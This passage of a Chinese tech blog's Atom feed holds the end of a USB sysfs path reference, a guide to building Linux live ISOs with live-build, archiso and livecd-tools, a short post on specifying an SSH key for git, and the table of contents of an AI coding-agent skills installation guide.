&lt;tr&gt;&lt;td&gt;&lt;code&gt;1-0.1&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;1-1&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;-&lt;&#x2F;code&gt; 之后直接是端口链，根集线器默认为起点&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;1-0.1.2&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;1-1.2&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;同上，起点不编号&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;引用根集线器本身&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;1-0&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;这是唯一出现 &lt;code&gt;0&lt;&#x2F;code&gt; 的地方&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;下游集线器不需要 &lt;code&gt;0&lt;&#x2F;code&gt;，因为它们的设备路径已以自身端口号结束，不存在 &lt;code&gt;N-M.n.0&lt;&#x2F;code&gt; 这种写法。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;su-cha-biao&quot;&gt;速查表&lt;&#x2F;h1&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;sysfs 路径&lt;&#x2F;th&gt;&lt;th&gt;含义&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;usbN&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;虚拟根设备，Bus N&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;N-0:1.0&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;Bus N 根集线器，配置 1，接口 0&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;N-M&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;Bus N 根集线器 Port M 上的设备&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;N-M:1.0&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;同上，配置 1，接口 0&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;N-M.N&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;Bus N → Port M 下游集线器 → Port N&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;N-M.N:1.0&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;同上，配置 1，接口 0&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;N-M.N.O&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;三层集线器嵌套&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;N-M:1.1&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;同一配置下的第 2 个接口（复合设备）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;N-M:2.0&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;第 2 个配置的第 1 个接口（罕见）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>基于上游发行版制作你的 Linux 发行版 — live-build&#x2F;archiso&#x2F;livecd-tools 指南</title>
        <published>2026-06-25T15:45:31+08:00</published>
        <updated>2026-06-25T15:45:31+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/06/make-your-linux-distro/"/>
        <id>https://vercel.juzhong.asia/2026/06/make-your-linux-distro/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/06/make-your-linux-distro/">&lt;h2 id=&quot;wei-shen-me-ji-yu-shang-you-zhi-zuo&quot;&gt;为什么基于上游制作&lt;&#x2F;h2&gt;
&lt;p&gt;自己从 LFS 构建系统不现实——没有包管理、没有软件仓库。绝大多数&quot;小而美&quot;的发行版（elementary OS、Kali Linux、PureOS）都是基于 Debian&#x2F;Arch&#x2F;Fedora 等上游发行版的软件源制作的。&lt;&#x2F;p&gt;
&lt;p&gt;三大上游各自提供了成熟的构建工具链：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;上游&lt;&#x2F;th&gt;&lt;th&gt;工具&lt;&#x2F;th&gt;&lt;th&gt;知名下游发行版&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Debian&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;live-build&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;Kali Linux, elementary OS, PureOS&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Arch Linux&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;archiso&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;Manjaro, EndeavourOS, ArcoLinux&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Fedora&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;livecd-tools&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;Nobara, Ultramarine&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;下文以 &lt;strong&gt;Debian + live-build&lt;&#x2F;strong&gt; 为主线讲解实操，Arch 和 Fedora 的方案提要点。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;live-build-kuai-su-shang-shou-zhong-dian&quot;&gt;live-build 快速上手（重点）&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;an-zhuang&quot;&gt;安装&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo apt install live-build
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;san-bu-gou-jian-yi-ge-mo-ren-iso&quot;&gt;三步构建一个默认 ISO&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;mkdir myos &amp;amp;&amp;amp; cd myos

# 1. 生成配置骨架
lb config --distribution bookworm \
          --archive-areas &amp;quot;main contrib non-free non-free-firmware&amp;quot; \
          --mirror-binary https:&amp;#x2F;&amp;#x2F;mirrors.163.com&amp;#x2F;debian

# 2. 构建（需 root）
sudo lb build

# 3. 产物：live-image-amd64.hybrid.iso
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;lb build&lt;&#x2F;code&gt; 按五个阶段顺序执行：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;bootstrap&lt;&#x2F;strong&gt; — debootstrap 构建基础 Debian 根文件系统&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;chroot&lt;&#x2F;strong&gt; — 安装内核、软件包、执行 hook（大部分定制在此阶段）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;installer&lt;&#x2F;strong&gt; — (可选) 集成 Debian Installer&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;binary&lt;&#x2F;strong&gt; — 打包为可引导 ISO&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;source&lt;&#x2F;strong&gt; — (可选) 生成源码映像&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;auto-jiao-ben-gu-hua-pei-zhi&quot;&gt;auto 脚本：固化配置&lt;&#x2F;h3&gt;
&lt;p&gt;每次敲长参数不现实，用 &lt;code&gt;auto&#x2F;&lt;&#x2F;code&gt; 目录下的脚本固化：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# auto&amp;#x2F;config
#!&amp;#x2F;bin&amp;#x2F;sh
set -e
lb config noauto \
    --architecture amd64 \
    --distribution bookworm \
    --debian-installer live \
    --debian-installer-gui true \
    --iso-application &amp;quot;MyOS&amp;quot; \
    --bootappend-live &amp;quot;boot=live components&amp;quot; \
    --mirror-binary https:&amp;#x2F;&amp;#x2F;mirrors.163.com&amp;#x2F;debian \
    &amp;quot;${@}&amp;quot;

# auto&amp;#x2F;build
#!&amp;#x2F;bin&amp;#x2F;sh
set -e
lb build noauto &amp;quot;${@}&amp;quot; 2&amp;gt;&amp;amp;1 | tee build.log

# auto&amp;#x2F;clean
#!&amp;#x2F;bin&amp;#x2F;sh
set -e
lb clean noauto &amp;quot;${@}&amp;quot;
rm -f build.log
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;之后只需 &lt;code&gt;sudo lb config &amp;amp;&amp;amp; sudo lb build&lt;&#x2F;code&gt;。每次重新构建前先 &lt;code&gt;sudo lb clean&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;ding-zhi-ruan-jian-bao&quot;&gt;定制软件包&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;官方仓库中的包&lt;&#x2F;strong&gt; — 在 &lt;code&gt;config&#x2F;package-lists&#x2F;&lt;&#x2F;code&gt; 下创建 &lt;code&gt;.list.chroot&lt;&#x2F;code&gt; 文件：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# config&amp;#x2F;package-lists&amp;#x2F;desktop.list.chroot
gnome-core
firefox-esr
git
build-essential
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;外部 deb 包&lt;&#x2F;strong&gt;（如 VSCode、Chrome）— 直接放到 &lt;code&gt;config&#x2F;packages.chroot&#x2F;&lt;&#x2F;code&gt; 目录即可。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;ding-zhi-xi-tong-wen-jian-gnome-pei-zhi&quot;&gt;定制系统文件 &amp;amp; GNOME 配置&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;添加&#x2F;替换文件&lt;&#x2F;strong&gt; — 放到 &lt;code&gt;config&#x2F;includes.chroot_after_packages&#x2F;&lt;&#x2F;code&gt;，对应该 Live 系统的根目录 &lt;code&gt;&#x2F;&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 例如添加自定义配置
config&amp;#x2F;includes.chroot_after_packages&amp;#x2F;etc&amp;#x2F;NetworkManager&amp;#x2F;conf.d&amp;#x2F;dns.conf
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;GNOME 配置&lt;&#x2F;strong&gt; — 通过 &lt;code&gt;vendor override&lt;&#x2F;code&gt; 文件覆盖 GSettings 默认值。放到 &lt;code&gt;config&#x2F;includes.chroot_after_packages&#x2F;usr&#x2F;share&#x2F;glib-2.0&#x2F;schemas&#x2F;&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ini&quot; class=&quot;language-ini &quot;&gt;&lt;code class=&quot;language-ini&quot; data-lang=&quot;ini&quot;&gt;# 20_myos-theme.gschema.override
[org.gnome.desktop.interface]
gtk-theme=&amp;#x27;Adwaita-dark&amp;#x27;
icon-theme=&amp;#x27;Papirus&amp;#x27;

[org.gnome.desktop.background]
picture-uri=&amp;#x27;file:&amp;#x2F;&amp;#x2F;&amp;#x2F;usr&amp;#x2F;share&amp;#x2F;backgrounds&amp;#x2F;myos&amp;#x2F;wallpaper.png&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;关键一步&lt;&#x2F;strong&gt;：添加 hook 脚本重新编译 schemas：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# config&amp;#x2F;hooks&amp;#x2F;live&amp;#x2F;0100-compile-schemas.hook.chroot
#!&amp;#x2F;bin&amp;#x2F;sh
set -e
glib-compile-schemas &amp;#x2F;usr&amp;#x2F;share&amp;#x2F;glib-2.0&amp;#x2F;schemas&amp;#x2F;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;live-xi-tong-yun-xing-shi-pei-zhi&quot;&gt;Live 系统运行时配置&lt;&#x2F;h3&gt;
&lt;p&gt;通过 &lt;code&gt;live-config&lt;&#x2F;code&gt; 配置文件设置主机名、语言、Live 用户等：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# config&amp;#x2F;includes.chroot_after_packages&amp;#x2F;etc&amp;#x2F;live&amp;#x2F;config.conf.d&amp;#x2F;myos.conf
LIVE_HOSTNAME=&amp;quot;MyOS&amp;quot;
LIVE_LOCALES=&amp;quot;zh_CN.UTF-8&amp;quot;
LIVE_TIMEZONE=&amp;quot;Asia&amp;#x2F;Shanghai&amp;quot;
LIVE_USERNAME=&amp;quot;liveuser&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;ding-zhi-yin-dao-jie-mian&quot;&gt;定制引导界面&lt;&#x2F;h3&gt;
&lt;p&gt;在 &lt;code&gt;config&#x2F;bootloaders&#x2F;&lt;&#x2F;code&gt; 下覆盖默认配置：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;BIOS (ISOLINUX)&lt;&#x2F;strong&gt;: 覆盖 &lt;code&gt;isolinux&#x2F;splash.png&lt;&#x2F;code&gt; (640×480)、&lt;code&gt;isolinux&#x2F;menu.cfg&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;UEFI (GRUB)&lt;&#x2F;strong&gt;: 覆盖 &lt;code&gt;grub-pc&#x2F;splash.png&lt;&#x2F;code&gt;、&lt;code&gt;grub-pc&#x2F;live-theme&#x2F;theme.txt&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;diao-shi-ji-qiao&quot;&gt;调试技巧&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 缓存多阶段，避免重复构建
lb config --cache-stages &amp;quot;bootstrap,chroot&amp;quot;

# 启用调试输出
lb config --debug
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;arch-linux-archiso&quot;&gt;Arch Linux：archiso&lt;&#x2F;h2&gt;
&lt;p&gt;Arch 的构建工具为 &lt;strong&gt;archiso&lt;&#x2F;strong&gt;，核心是通过 &lt;code&gt;mkarchiso&lt;&#x2F;code&gt; 命令构建 ISO。配置文件在 &lt;code&gt;profiledef.sh&lt;&#x2F;code&gt; 中定义基础包和引导参数，在 &lt;code&gt;packages.x86_64&lt;&#x2F;code&gt; 列表中指定需要安装的包。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 安装
sudo pacman -S archiso

# 复制官方 releng 配置作为基础
cp -r &amp;#x2F;usr&amp;#x2F;share&amp;#x2F;archiso&amp;#x2F;configs&amp;#x2F;releng .&amp;#x2F;myarch

# 编辑 packages.x86_64 添加自定义包，然后构建
sudo mkarchiso -v -w &amp;#x2F;tmp&amp;#x2F;archiso-tmp -o .&amp;#x2F;out .&amp;#x2F;myarch
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;与 live-build 类似，archiso 通过 &lt;code&gt;airootfs&#x2F;&lt;&#x2F;code&gt; 目录覆盖文件、通过 &lt;code&gt;profiledef.sh&lt;&#x2F;code&gt; 中的 &lt;code&gt;customize_airootfs()&lt;&#x2F;code&gt; 函数执行 hook 操作。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;fedora-livecd-tools&quot;&gt;Fedora：livecd-tools&lt;&#x2F;h2&gt;
&lt;p&gt;Fedora 使用 &lt;strong&gt;livecd-tools&lt;&#x2F;strong&gt;（基于 kickstart），通过 &lt;code&gt;.ks&lt;&#x2F;code&gt; 配置文件声明式地定义要安装的包和要执行的脚本。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo dnf install livecd-tools

# 编写 kickstart 文件 myos.ks，然后构建
sudo livecd-creator -c myos.ks -f MyOS --cache &amp;#x2F;var&amp;#x2F;cache&amp;#x2F;live
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;xiao-jie&quot;&gt;小结&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;特性&lt;&#x2F;th&gt;&lt;th&gt;live-build (Debian)&lt;&#x2F;th&gt;&lt;th&gt;archiso (Arch)&lt;&#x2F;th&gt;&lt;th&gt;livecd-tools (Fedora)&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;配置方式&lt;&#x2F;td&gt;&lt;td&gt;auto 脚本 + config 目录&lt;&#x2F;td&gt;&lt;td&gt;profiledef.sh + 包列表&lt;&#x2F;td&gt;&lt;td&gt;kickstart .ks 文件&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;包管理&lt;&#x2F;td&gt;&lt;td&gt;APT + deb 文件&lt;&#x2F;td&gt;&lt;td&gt;pacman&lt;&#x2F;td&gt;&lt;td&gt;DNF&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;引导&lt;&#x2F;td&gt;&lt;td&gt;ISOLINUX + GRUB&lt;&#x2F;td&gt;&lt;td&gt;systemd-boot + GRUB&lt;&#x2F;td&gt;&lt;td&gt;GRUB&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;学习曲线&lt;&#x2F;td&gt;&lt;td&gt;中等，目录结构清晰&lt;&#x2F;td&gt;&lt;td&gt;较简单，配置集中&lt;&#x2F;td&gt;&lt;td&gt;简单，声明式&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;三者的共同思路：&lt;strong&gt;选择包列表 → 通过 hook 定制文件&#x2F;配置 → 打包 ISO&lt;&#x2F;strong&gt;。选哪个取决于你熟悉的上游发行版——你用什么系统，就用它的工具链打包。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>git 指定 ssh 密钥</title>
        <published>2026-06-17T12:00:00+08:00</published>
        <updated>2026-06-17T12:00:00+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/06/git指定ssh密钥/"/>
        <id>https://vercel.juzhong.asia/2026/06/git指定ssh密钥/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/06/git指定ssh密钥/">&lt;p&gt;&lt;code&gt;git clone&lt;&#x2F;code&gt; 不能像 &lt;code&gt;ssh&lt;&#x2F;code&gt; 那样直接在命令中加 &lt;code&gt;-i&lt;&#x2F;code&gt; 指定私钥，但可以通过以下两种方式实现。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;lin-shi-zhi-ding-dan-ci-ming-ling&quot;&gt;临时指定（单次命令）&lt;&#x2F;h1&gt;
&lt;p&gt;在命令前加 &lt;code&gt;GIT_SSH_COMMAND&lt;&#x2F;code&gt; 环境变量：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;GIT_SSH_COMMAND=&amp;quot;ssh -i ~&amp;#x2F;.ssh&amp;#x2F;id_rsa_work&amp;quot; git clone git@github.com:user&amp;#x2F;repo.git
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;后续的 &lt;code&gt;push&lt;&#x2F;code&gt;、&lt;code&gt;pull&lt;&#x2F;code&gt; 等操作需要同样带上环境变量，比较适合 CI&#x2F;CD 场景。&lt;&#x2F;p&gt;
&lt;p&gt;调试连接问题时加 &lt;code&gt;-v&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;GIT_SSH_COMMAND=&amp;quot;ssh -v -i ~&amp;#x2F;.ssh&amp;#x2F;id_rsa_work&amp;quot; git clone git@github.com:user&amp;#x2F;repo.git
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;dan-cang-ku-gu-ding-pei-zhi&quot;&gt;单仓库固定配置&lt;&#x2F;h1&gt;
&lt;p&gt;进入仓库目录后执行：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;git config core.sshCommand &amp;quot;ssh -i ~&amp;#x2F;.ssh&amp;#x2F;id_rsa_work&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;此后仅该仓库的 &lt;code&gt;fetch&lt;&#x2F;code&gt;、&lt;code&gt;push&lt;&#x2F;code&gt;、&lt;code&gt;pull&lt;&#x2F;code&gt; 等操作自动使用指定密钥，其他仓库不受影响。配置保存在 &lt;code&gt;.git&#x2F;config&lt;&#x2F;code&gt; 中，适合长期使用某个特定密钥的仓库。&lt;&#x2F;p&gt;
&lt;p&gt;查看当前仓库的 SSH 命令配置：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;git config core.sshCommand
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;zhu-yi-shi-xiang&quot;&gt;注意事项&lt;&#x2F;h1&gt;
&lt;p&gt;私钥权限必须为 &lt;code&gt;600&lt;&#x2F;code&gt;，否则 SSH 会拒绝使用：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;chmod 600 ~&amp;#x2F;.ssh&amp;#x2F;id_rsa_work
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;确保对应公钥已添加到 Git 服务器的 SSH Keys 中。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>AI 编程代理（Agent）工具&#x2F;Skills 安装指南</title>
        <published>2026-06-14T12:00:00+08:00</published>
        <updated>2026-06-15T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/06/agent-tools-skills-guide/"/>
        <id>https://vercel.juzhong.asia/2026/06/agent-tools-skills-guide/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/06/agent-tools-skills-guide/">&lt;h1 id=&quot;ai-bian-cheng-dai-li-agent-gong-ju-skills-an-zhuang-zhi-nan&quot;&gt;AI 编程代理（Agent）工具&#x2F;Skills 安装指南&lt;&#x2F;h1&gt;
&lt;blockquote&gt;
&lt;p&gt;适用代理：OpenCode &#x2F; Claude Code &#x2F; Codex（OpenAI Codex CLI）
更新时间：2026-06-14&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;mu-lu&quot;&gt;目录&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;06&#x2F;agent-tools-skills-guide&#x2F;#%E7%8E%AF%E5%A2%83%E5%87%86%E5%A4%87%E5%89%8D%E7%BD%AE%E4%BE%9D%E8%B5%96&quot;&gt;环境准备（前置依赖）&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;06&#x2F;agent-tools-skills-guide&#x2F;#%E7%BB%9F%E4%B8%80%E5%AE%89%E8%A3%85%E5%B7%A5%E5%85%B7npx-skills&quot;&gt;统一安装工具：npx skills&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;06&#x2F;agent-tools-skills-guide&#x2F;#skills-%E7%B1%BB%E5%B7%A5%E5%85%B7&quot;&gt;Skills 类工具&lt;&#x2F;a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;06&#x2F;agent-tools-skills-guide&#x2F;#1-skill-creatoranthropic-%E5%AE%98%E6%96%B9-150k&quot;&gt;skill-creator（Anthropic 官方）&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;06&#x2F;agent-tools-skills-guide&#x2F;#2-gstackgarry-tan-%E5%B7%A5%E7%A8%8B%E5%B7%A5%E4%BD%9C%E6%B5%81-109k&quot;&gt;gstack（Garry Tan 工程工作流）&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;06&#x2F;agent-tools-skills-guide&#x2F;#3-baoyu-skills%E4%B8%AD%E6%96%87%E5%86%85%E5%AE%B9%E5%88%9B%E4%BD%9C-21k&quot;&gt;baoyu-skills（中文内容创作）&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;06&#x2F;agent-tools-skills-guide&#x2F;#4-find-skills%E8%87%AA%E5%8A%A8%E6%8E%A8%E8%8D%90-skill-22k&quot;&gt;find-skills（自动推荐 Skill）&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;06&#x2F;agent-tools-skills-guide&#x2F;#5-supabase-postgres-best-practices-2k&quot;&gt;supabase-postgres-best-practices&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;06&#x2F;agent-tools-skills-guide&#x2F;#6-cloudflare-skills&quot;&gt;Cloudflare Skills&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;06&#x2F;agent-tools-skills-guide&#x2F;#7-open-design%E8%AE%BE%E8%AE%A1%E5%B7%A5%E4%BD%9C%E6%B5%81--skills-%E9%9B%86%E5%90%8864k&quot;&gt;Open Design（设计工作流）&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;06&#x2F;agent-tools-skills-guide&#x2F;#8-superpowers%E7%BC%96%E7%A0%81%E4%BB%A3%E7%90%86%E5%BC%80%E5%8F%91%E6%96%B9%E6%B3%95%E8%AE%BA228k&quot;&gt;superpowers（编码代理开发方法论）⭐228k+&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
